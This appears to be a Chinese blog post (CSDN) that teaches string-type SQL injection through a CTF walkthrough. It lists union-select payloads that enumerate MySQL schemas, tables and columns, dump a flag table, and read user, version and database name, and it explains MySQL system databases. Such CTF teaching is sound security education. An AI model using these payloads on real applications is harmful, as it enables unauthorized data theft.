sql注入(字符型注入)

文章描述了利用SQL注入技术获取不同数据库(如sqli)的元数据,包括数据库名、表名、字段名及其内容。重点展示了如何通过`information_schema`获取相关信息,并提到了MySQL系统架构中的关键数据库及其作用。
摘要由CSDN通过智能技术生成

注入语句

(一)列出所有的数据库

从数据库的information_schema中获取数据库的名字

-1' union select 1 , (select schema_name from information_schema.schemata limit 0,1) #

将information_schema.schemata表中所有行的值连接成一个字符串

-1' union select 1,group_concat(schema_name) from information_schema.schemata #

(二).列出(数据库: sqli )中所有的表名

一个一个打出表名

-1' union select 1 , (select table_name from information_schema.tables where table_schema='sqli' limit 0,1) #

一次性将表名列出表名

-1' union select table_schema, group_concat(table_name) from information_schema.tables where table_schema='sqli' #
 

(三)列出(数据库:sqli 表:flag)中所有的字段名

一个一个打出字段名

-1' union select 1 , (select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1) #

一次性打出所有字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'#

(四).列出(数据库:sqli表:flag)中字段名的内容

一个一个打出字段名中的内容

-1' union select 1,(select flag from flag) #

一次性打出字段名的内容

-1' union select 1 , group_concat(flag) from flag #

(五)查询用户

-1' union select 1 , user() #

(六)查询数据库版本

-1' union select 1 , version() #

(七)查询当前数据库名称

-1' union select 1 , database() #

题目

首先用-1' union select 1,group_concat(schema_name) from information_schema.schemata #,列出所有的数据库

发现有四个数据库,前三个都是属于系统架构,所以推测flag应该是在sqli里面。

在MSQL中,information_schemamysqlperformance_schema 和 sys 这几个数据库(或称为系统架构)是非常重要的。(以下可参考MySQL中的系统数据库:information_schema、mysql、performance_schema、sys_information_schemamysqlperformance_schemasys-CSDN博客

information_schema

    information_schema 提供了关于数据库元数据的信息。这包括关于数据库中的表、列、索引、约束、视图、函数、过程等的详细信息。
    它是一个只读的数据库,你不能在其中创建或修改表。
    删除 information_schema 会导致MySQL服务器无法正常工作。

mysql

    mysql 数据库包含了MySQL服务器的系统表。这些表存储了用户账户信息、权限、服务器配置参数等。
    删除 mysql 数据库或其中的表可能会导致你无法登录到MySQL服务器,或者丢失重要的系统配置和账户信息。

performance_schema

    performance_schema 提供了关于MySQL服务器性能的详细信息。这包括关于查询执行、锁、内存使用等的统计信息。
    它可以帮助数据库管理员诊断性能问题。
    删除 performance_schema 会导致你失去这些性能统计信息。

sys

    sys 数据库提供了一组视图、函数和过程,用于更方便地访问 performance_schema 和 information_schema 中的信息。
    这些视图和函数可以帮助你更容易地理解和分析MySQL服务器的性能。
    删除 sys 数据库不会直接影响MySQL服务器的核心功能,但你会失去这些方便的视图和函数。

所以下一步列出这个数据库的所有表名,用-1' union select table_schema, group_concat(table_name) from information_schema.tables where table_schema='sqli' #

发现这个数据库里有一个名为flag的表名。

接下来查看flag表名下的字段名,用-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'#

最后就是查看flag字段的内容,用-1' union select 1 , group_concat(flag) from flag #


 


 


 

  • 28
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值